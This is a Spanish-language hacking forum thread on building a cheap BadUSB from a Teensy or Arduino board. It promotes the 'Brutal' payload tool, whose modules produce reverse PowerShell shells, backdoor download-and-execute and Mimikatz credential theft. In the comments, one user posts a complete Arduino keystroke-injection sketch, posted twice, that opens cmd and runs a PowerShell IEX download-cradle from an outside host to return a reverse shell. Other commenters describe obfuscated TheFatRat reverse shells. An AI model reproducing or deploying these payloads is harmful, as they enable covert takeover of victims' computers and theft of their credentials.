Bienvenidos al nuevo foro de hackplayers. En caso de encontrarse cualquier tipo de error, contacte con cualquier administrador por mensaje privado.
Recuerda que, para incrementar tu privacidad, tambien puedes acceder al foro usando el dominio forohpysho2t5mjs.onion de la red tor.

BadUSB, fácil y sencillo

Hace bastante tiempo se descubrió una nueva amenaza, llamada BadUSB, que venía en forma de hardware... Concretamente en forma de USB, que en algunos casos da el pego de la típica memoria USB que todo el mundo tiene y conecta y desconecta al ordenador cuando quiere almacenar algún tipo de información o consultar otra que había guardado anteriormente.

Para los que no conozcan estos dispositivos el nombre lo dice todo: BadUSB, porque estos USBs no se utilizan como almacenamiento sino para hacerse pasar por otro dispositivo como por ejemplo: teclados, ratones... que ejecutarán unas ordenes programadas previamente por el atacante. Y es que este falso USB al ser conectado al ordenador o dispositivo objetivo podrá ejecutar comandos en la terminal, instalar una puerta trasera para posteriormente acceder a ese ordenador, robar credenciales y multitud de cosas más.

Todo esto es debido a que los falsos USBs al ser conectados a una máquina objetivo se ejecutan con otro firmware que no es el normal de una memoria USB (como aparentaban), haciéndose pasar por cualquier otro tipo de dispositivo y siendo capaces de ejecutar cualquier clase de acción sobre la máquina a la que está conectada sin que el usuario en cuestión se entere.

Existen en el mercado diversos dispositivos con estas características pero el que más se adecua a lo que estoy hablando es el USB Rubber Ducky, un dispositivo creado por Hak5.

El USB Rubber Ducky actúa como un teclado que ejecuta y teclea las ordenes que hayamos almacenado sobre su micro SD con tan solo haberlo conectado a otro dispositivo.

El precio de este USB son 44,99$ más los gastos de envió, que son algo más de 10$ (para España). Un dispositivo algo caro, ¿no creéis? Así que, que me diríais si pudiésemos conseguir lo mismo por aproximadamente la mitad de precio que el USB Rubber Ducky...Pues sí, podemos montarnos nuestro propio USB Rubber Ducky a la mitad de precio, todo esto gracias a Teensy que funciona con Arduino

Para montarlo necesitamos: una placa Teensy, tener instalado Arduino y un cable USB. 
Muchos me dirán que es más sencillo todo con el USB Rubber Ducky porque la sintaxis al programar el USB es más sencilla, más fácil y rápida que programar con Arduino.

Eso es cierto, pero hoy traigo una muy buena herramienta para ésto, Brutal, una herramienta desarrollada por el grupo ScreetSec (creadores de TheFatRat o LALIN) y que ha sido estrenada hace unos días; esta herramienta tiene diversos módulos que nos proporcionan payloads escritos para Arduino con diversas funciones, que nos facilitarán mucho las cosas a la hora de usar nuestro Teensy como un BadUSB.

La herramienta tiene los siguientes módulos:
  1. Genera un payload que ejecute una conexion TCP reversa a través de PowerShell.
  2. Descarga y ejecuta un backdoor.
  3. Obtiene las credenciales gracias a MimiKatz.
  4. Genera payloads para gastar bromas.
  5. Genera payloads para administrar Windows.
  6. Genera diversos ataques para Windows. 
Instalación y ejecución de esta herramienta:
PoC de Brutal:


URL del video: https://www.youtube.com/watch?v=WaqY-pQpuV0

Comentarios

  • 13 Comentarios ordenados por Votos Fecha
  • Muy buen post,  solo para agregar algo, existe una alternativa mucho mas barata http://www.dx.com/p/cjmcu-beetle-leonardo-usb-atmega32u4-mini-development-board-for-arduino-black-384544, basicamente es un arduino leonardo mini con conexion usb directa lo que si la programacion es  mas complicada con el ide de arduino.
    Saludos.

  • Logico con brutal no funciona xq esta hecho para teensy, pero hay "traductores" del codigo de ducky script a lenguaje de arduino que puedes descargar es un javascript en un html o usarlo online https://thecakeisgit.github.io/Dckuino.js/
    y en cuanto a que sobrepasa la capacidad, no se que script quieras cargar pero por ejemplo uno para obtener una shell reversa seria asi:
    .................................................................................................
    #include <Keyboard.h>

    void setup() {
      Keyboard.begin();
    delay(750);
       
    type(KEY_LEFT_GUI,false);
    type('r',false);
    Keyboard.releaseAll();
    delay(750);

    print(F("cmd"));
    delay(200);
       
    type(KEY_RETURN,false);
    Keyboard.releaseAll();
    delay(200);

    print(F("powershell IEX (New-Object Net.WebClient).DownloadString('http://tudominio.net/powershell.ps1')"));
    delay(200);
       
    type(KEY_RETURN,false);
    Keyboard.releaseAll();
    Keyboard.end();
    }
    void type(int key, boolean release) {
      Keyboard.press(key);
      if(release)
        Keyboard.release(key);
    }
    void print(const __FlashStringHelper *value) {
      Keyboard.print(value);
    }
    void loop(){}
    ..............................................
    Lo que hace es descargar el payload con powershell y ejecutarlo devolviendo una shell a quien este a la escucha puedes hacerlo asi o cargando directamente el payload.

    Saludos
  • La única manera que he encontrado es reemplazando a mano el código. Es decir viendo "que tiene que escribir un teclado inglés para pulsar esa tecla en el español".

    Es un coñazo, pero...

    Lo he probado en un script que mediante PS descarga un BAT generado con THEFATRAT. Shells reversas totalmente transparentes y ofuscadas en 30 segundos. Una pasada!
  • Si esto sigue en aumento luego se podrán hacer ataques de fuerza bruta a dispositivos Móviles con Pin sin que lo tenga limitado a número de intentos, por 15$?
    Como hace este tío:
    https://www.hak5.org/episodes/hak5-1217

  • Logico con brutal no funciona xq esta hecho para teensy, pero hay "traductores" del codigo de ducky script a lenguaje de arduino que puedes descargar es un javascript en un html o usarlo online https://thecakeisgit.github.io/Dckuino.js/
    y en cuanto a que sobrepasa la capacidad, no se que script quieras cargar pero por ejemplo uno para obtener una shell reversa seria asi:
    .................................................................................................
    #include <Keyboard.h>

    void setup() {
      Keyboard.begin();
    delay(750);
       
    type(KEY_LEFT_GUI,false);
    type('r',false);
    Keyboard.releaseAll();
    delay(750);

    print(F("cmd"));
    delay(200);
       
    type(KEY_RETURN,false);
    Keyboard.releaseAll();
    delay(200);

    print(F("powershell IEX (New-Object Net.WebClient).DownloadString('http://tudominio.net/powershell.ps1')"));
    delay(200);
       
    type(KEY_RETURN,false);
    Keyboard.releaseAll();
    Keyboard.end();
    }
    void type(int key, boolean release) {
      Keyboard.press(key);
      if(release)
        Keyboard.release(key);
    }
    void print(const __FlashStringHelper *value) {
      Keyboard.print(value);
    }
    void loop(){}
    ..............................................
    Lo que hace es descargar el payload con powershell y ejecutarlo devolviendo una shell a quien este a la escucha puedes hacerlo asi o cargando directamente el payload.

    Saludos
    Muy buen aporte! Un saludo.
  • Icko dijo:
    La única manera que he encontrado es reemplazando a mano el código. Es decir viendo "que tiene que escribir un teclado inglés para pulsar esa tecla en el español".

    Es un coñazo, pero...

    Lo he probado en un script que mediante PS descarga un BAT generado con THEFATRAT. Shells reversas totalmente transparentes y ofuscadas en 30 segundos. Una pasada!


    Buenas disculpa de casualidad pudiste cambiar el idioma del keyboard layout a espa;ol?
  • Muy buen post,  solo para agregar algo, existe una alternativa mucho mas barata http://www.dx.com/p/cjmcu-beetle-leonardo-usb-atmega32u4-mini-development-board-for-arduino-black-384544, basicamente es un arduino leonardo mini con conexion usb directa lo que si la programacion es  mas complicada con el ide de arduino.
    Saludos.

    Exacto, pero en el momento que sepas bien arduino ya no necesitas un Rubber Ducky. A lo de la leonardo mini, habia visto parecidas en aliexpress, pero desconozco si funcionaran con Brutal, ya que el desarrollador solo concreta el funcionamiento con Teensy... 
  • Buenas, ahora estoy probando un mini leonardo atmega32u4 de esos, con brutal directamente no funciona, y metiendo el codigo mas a mano y solo intentando aprovechar el exploit powershell de este tampoco me deja ya que dice que sobrepasa la capacidad, por lo que estoy probando otros payload mas pequeños para que funcione.
    Un saludo
  • Tengo un pequeño problemilla con el mini leonardo, y es que al meter el codigo lo ejecuta con el teclado con el layout en ingles, de echo si cambio el idioma del teclado en windows al ingles sale correcto.
    ¿Como se puede cambiar esto? ¿alguien sabe?
    Gracias y un saludo


  • Icko dijo:
    La única manera que he encontrado es reemplazando a mano el código. Es decir viendo "que tiene que escribir un teclado inglés para pulsar esa tecla en el español".

    Es un coñazo, pero...

    Lo he probado en un script que mediante PS descarga un BAT generado con THEFATRAT. Shells reversas totalmente transparentes y ofuscadas en 30 segundos. Una pasada!
    Si, eso es lo que e echo, pero por saber si habia alguna forma de cambiar el layout.

  • Os estáis dejando fuera también MalDuino.
    http://malduino.com/

    ---
      Every reality is virtual.
Accede o Regístrate para comentar.